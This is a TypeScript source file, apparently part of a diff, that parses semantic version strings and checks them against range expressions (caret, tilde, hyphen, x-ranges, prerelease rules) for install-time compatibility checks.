Supported range grammar:+//+// exact 1.2.3+// comparator >=1.2.3 >1.2.3 <=1.2.3 <1.2.3 =1.2.3+// AND set >=0.12.0 <0.13.0 (spaces)+// hyphen 0.12.0 - 0.13.0 (inclusive both ends)+// OR <0.13.0 || >=0.14.0+// x-range 1.2.x 1.x 1.2.* 1.2 (partial versions)+// caret/tilde ^1.2.3 ~1.2.3 (author ergonomics)+//+// Prerelease rule (semver spec): a prerelease version only+// satisfies a set that contains a comparator with a prerelease+// on the same [major.minor.patch]. Hosts ship `0.13.0-rc.1`+// style builds, so this matters for real installs.+// ─────────────────────────────────────────────────────────────++export interface Semver {+ major: number+ minor: number+ patch: number+ /** dotted prerelease identifiers, e.g. ['rc', 1] */+ prerelease: (string | number)[]+}++const SEMVER_RE =+ /^v?(\d+)\.(\d+)\.(\d+)(?:-([0-9A-Za-z.-]+))?(?:\+[0-9A-Za-z.-]+)?$/++/** Parse a strict `major.minor.patch` string (optional v-prefix, prerelease, build). */+export function parseSemver(raw: string): Semver | null {+ if (typeof raw !== 'string') return null+ const m = SEMVER_RE.exec(raw.trim())+ if (!m) return null+ const major = Number(m[1])+ const minor = Number(m[2])+ const patch = Number(m[3])+ if (major > 1e9 || minor > 1e9 || patch > 1e9) return null+ const prerelease: (string | number)[] = []+ if (m[4]) {+ for (const part of m[4].split('.')) {+ if (part === '') return null+ if (/^\d+$/.test(part)) {+ // per spec, numeric identifiers must not have leading zeros+ if (part.length > 1 && part.startsWith('0')) return null+ prerelease.push(Number(part))+ } else {+ prerelease.push(part)+ }+ }+ }+ return { major, minor, patch, prerelease }+}++function ver(major: number, minor: number, patch: number): Semver {+ return { major, minor, patch, prerelease: [] }+}++/** Compare two prerelease identifier lists (semver §11.4). */+function comparePrerelease(+ a: (string | number)[],+ b: (string | number)[],+): number {+ if (a.length === 0 && b.length === 0) return 0+ // no prerelease > has prerelease+ if (a.length === 0) return 1+ if (b.length === 0) return -1+ const len = Math.max(a.length, b.length)+ for (let i = 0; i < len; i++) {+ const x = a[i]+ const y = b[i]+ if (x === undefined) return -1 // shorter set is lower+ if (y === undefined) return 1+ if (x === y) continue+ if (typeof x === 'number' && typeof y === 'number') return x < y ? -1 : 1+ if (typeof x === 'number') return -1 // numeric < alphanumeric+ if (typeof y === 'number') return 1+ return x < y ? -1 : 1 // ASCII lexical+ }+ return 0+}++/** Full semver ordering. `a < b` → negative. */+export function compareSemver(a: Semver, b: Semver): number {+ if (a.major !== b.major) return a.major - b.major+ if (a.minor !== b.minor) return a.minor - b.minor+ if (a.patch !== b.patch) return a.patch - b.patch+ return comparePrerelease(a.prerelease, b.prerelease)+}++type Op = '>=' | '>' | '<=' | '<' | '='++interface Comparator {+ op: Op+ ver: Semver+}++interface Partial {+ major: number+ minor: number+ patch: number+ /** all three parts were concrete numbers */+ full: boolean+ minorSpecified: boolean+ patchSpecified: boolean+}++const isWild = (t: string) => t === '' || t === 'x' || t === 'X' || t === '*'+const num = (t: string) => (/^\d+$/.test(t) ? Number(t) : NaN)++/** Parse `1`, `1.2`, `1.2.3`, `1.2.x`, `1.x.*` (no operators, no prerelease). */+function parsePartial(raw: string): Partial | null {+ const s = raw.trim()+ if (!s) return null+ const parts = s.split('.')+ if (parts.length === 0 || parts.length > 3) return null+ const [maj = 'x', min = 'x', pat = 'x'] = parts+ const major = isWild(maj) ? 0 : num(maj)+ if (!Number.isFinite(major)) return null+ const minorSpecified = !isWild(min)+ const patchSpecified = !isWild(pat)+ const minor = minorSpecified ? num(min) : 0+ const patch = patchSpecified ? num(pat) : 0+ if (!Number.isFinite(minor) || !Number.isFinite(patch)) return null+ // wildcards may not be followed by specifics (1.x.3 is invalid)+ if (!minorSpecified && patchSpecified) return null+ return { major, minor, patch, full: minorSpecified && patchSpecified, minorSpecified, patchSpecified }+}++/** Parse a token's version — full semver (prerelease allowed) first, then partial. */+function parseTokenVersion(raw: string): (Semver & Partial) | null {+ const full = parseSemver(raw)+ if (full) {+ return { ...full, full: true, minorSpecified: true, patchSpecified: true }+ }+ const p = parsePartial(raw)+ if (!p) return null+ return { ...ver(p.major, p.minor, p.patch), ...p }+}++/** Expand one token (no whitespace) into comparators. */+function expandToken(token: string): Comparator[] | null {+ // caret — "allow changes that don't modify the left-most non-zero+ // *specified* digit" (node-semver semantics):+ // ^1.2.3 → >=1.2.3 <2.0.0 · ^0.2.3 → >=0.2.3 <0.3.0 · ^0.0.3 → >=0.0.3 <0.0.4+ // ^1.2 → >=1.2.0 <2.0.0 · ^0.2 → >=0.2.0 <0.3.0 · ^0 → >=0.0.0 <1.0.0+ if (token.startsWith('^')) {+ const v = parseTokenVersion(token.slice(1))+ if (!v) return null+ const { major, minor, patch, minorSpecified, patchSpecified } = v+ if (!minorSpecified) {+ return [{ op: '>=', ver: ver(major, 0, 0) }, { op: '<', ver: ver(major + 1, 0, 0) }]+ }+ if (!patchSpecified) {+ if (major > 0) return [{ op: '>=', ver: ver(major, minor, 0) }, { op: '<', ver: ver(major + 1, 0, 0) }]+ return [{ op: '>=', ver: ver(major, minor, 0) }, { op: '<', ver: ver(major, minor + 1, 0) }]+ }+ if (major > 0) return [{ op: '>=', ver: v }, { op: '<', ver: ver(major + 1, 0, 0) }]+ if (minor > 0) return [{ op: '>=', ver: v }, { op: '<', ver: ver(major, minor + 1, 0) }]+ return [{ op: '>=', ver: v }, { op: '<', ver: ver(major, minor, patch + 1) }]+ }+ // tilde: ~1.2.3 → >=1.2.3 <1.3.0 · ~1.2 → >=1.2.0 <1.3.0 · ~1 → >=1.0.0 <2.0.0+ if (token.startsWith('~')) {+ const v = parseTokenVersion(token.slice(1))+ if (!v) return null+ if (v.minorSpecified) {+ return [{ op: '>=', ver: v }, { op: '<', ver: ver(v.major, v.minor + 1, 0) }]+ }+ return [{ op: '>=', ver: ver(v.major, 0, 0) }, { op: '<', ver: ver(v.major + 1, 0, 0) }]+ }+ const m = /^(>=|<=|>|<|=)?(.*)$/.exec(token)+ if (!m) return null+ const op = (m[1] ?? '=') as Op+ const v = parseTokenVersion(m[2])+ if (!v) return null+ if (v.full) {+ // keep the prerelease — '>=0.13.0-rc.1' must stay a prerelease+ // comparator or the spec's prerelease rule cannot fire+ return [{ op, ver: v }]+ }+ if (v.minorSpecified) {+ // partials shift like node-semver: '>1.2' ⇒ >=1.3.0, '<1.2' ⇒ <1.2.0,+ // '<=1.2' ⇒ <1.3.0, '=1.2'/bare ⇒ the 1.2.x range, '>=1.2' ⇒ >=1.2.0+ if (op === '>') return [{ op: '>=', ver: ver(v.major, v.minor + 1, 0) }]+ if (op === '<') return [{ op: '<', ver: ver(v.major, v.minor, 0) }]+ if (op === '<=') return [{ op: '<', ver: ver(v.major, v.minor + 1, 0) }]+ if (op === '=') {+ return [{ op: '>=', ver: ver(v.major, v.minor, 0) }, { op: '<', ver: ver(v.major, v.minor + 1, 0) }]+ }+ return [{ op: '>=', ver: ver(v.major, v.minor, 0) }]+ }+ // major-only: '1' / '1.x'+ if (op === '>') return [{ op: '>=', ver: ver(v.major + 1, 0, 0) }]+ if (op === '<') return [{ op: '<', ver: ver(v.major, 0, 0) }]+ if (op === '<=') return [{ op: '<', ver: ver(v.major + 1, 0, 0) }]+ if (op === '=') {+ return [{ op: '>=', ver: ver(v.major, 0, 0) }, { op: '<', ver: ver(v.major + 1, 0, 0) }]+ }+ return [{ op: '>=', ver: ver(v.major, 0, 0) }]+}++/** Parse one comparator set (no `||`, no hyphen) into comparators. */+function parseSet(text: string): Comparator[] | null {+ const out: Comparator[] = []+ for (const token of text.split(/\s+/)) {+ if (!token) continue+ const comps = expandToken(token)+ if (!comps) return null+ out.push(...comps)+ }+ return out.length ? out : null+}++/** Does `version` satisfy every comparator in `set`? */+function satisfiesSet(version: Semver, set: Comparator[]): boolean {+ let ok = true+ let hasPrereleaseComparator = false+ for (const c of set) {+ if (+ c.ver.prerelease.length > 0 &&+ c.ver.major === version.major &&+ c.ver.minor === version.minor &&+ c.ver.patch === version.patch+ ) {+ hasPrereleaseComparator = true+ }+ const cmp = compareSemver(version, c.ver)+ switch (c.op) {+ case '>=': if (cmp < 0) ok = false; break+ case '>': if (cmp <= 0) ok = false; break+ case '<=': if (cmp > 0) ok = false; break+ case '<': if (cmp >= 0) ok = false; break+ case '=': if (cmp !== 0) ok = false; break+ }+ }+ if (!ok) return false+ // prerelease versions only match sets that mention their own triple+ if (version.prerelease.length > 0 && !hasPrereleaseComparator) return false+ return true+}++/**+ * Does `version` satisfy a range like `>=0.12.0 <0.13.0`?+ * Returns false for unparseable ranges (callers surface a+ * plain-language error — never a silent no-op, §4.1).+ */+export function matchesRange(version: string | Semver, range: string): boolean {+ const v = typeof version === 'string' ? parseSemver(version) : version+ if (!v) return false+ if (typeof range !== 'string' || !range.trim()) return false+ for (const alt of range.split('||')) {+ // hyphen range: `0.12.0 - 0.13.0` (inclusive); partial upper+ // end opens up: `0.12.0 - 0.13` → >=0.12.0 <0.14.0 (semver spec)+ const hyphen = /^(\S+)\s+-\s+(\S+)$/.exec(alt.trim())+ if (hyphen) {+ const lo = parsePartial(hyphen[1])+ const hi = parsePartial(hyphen[2])+ if (!lo || !hi) continue+ // full upper bounds are INCLUSIVE; partial ones open up+ const hiFull = hi.full+ ? ver(hi.major, hi.minor, hi.patch)+ : hi.minorSpecified+ ? ver(hi.major, hi.minor + 1, 0)+ : ver(hi.major + 1, 0, 0)+ const set: Comparator[] = [+ { op: '>=', ver: ver(lo.major, lo.minor, lo.patch) },+ { op: hi.full ? '<=' : '<', ver: hiFull },+ ]+ if (satisfiesSet(v, set)) return true+ continue+ }+ const set = parseSet(alt)+ if (set && satisfiesSet(v, set)) return true+ }+ return false+}++/** True when both parse and `a === b` on all parts incl. prerelease. */+export function sameVersion(a: string, b: string): boolean {+ const x = parseSemver(a)+ const y = parseSemver(b)+ if (!x || !y) return false+ return compareSemver(x, y) === 0+}++/**+ * Is this a syntactically valid range (at least one parseable+ * alternative)? Distinguishes "garbage range" (install error:+ * fix your manifest) from "valid but doesn't match this host"+ * (install error: wrong version) — both block, with different+ * plain-language messages.+ */+export function isValidRange(range: string): boolean {+ if (typeof range !== 'string' || !range.trim()) return false+ let any = false+ for (const alt of range.split('||')) {+ const hyphen = /^(\S+)\s+-\s+(\S+)$/.exec(alt.trim())+ if (hyphen) {+ if (parsePartial(hyphen[1]) && parsePartial(hyphen[2])) any = true+ continue+ }+ if (parseSet(alt)) any = true+ }+ return any+}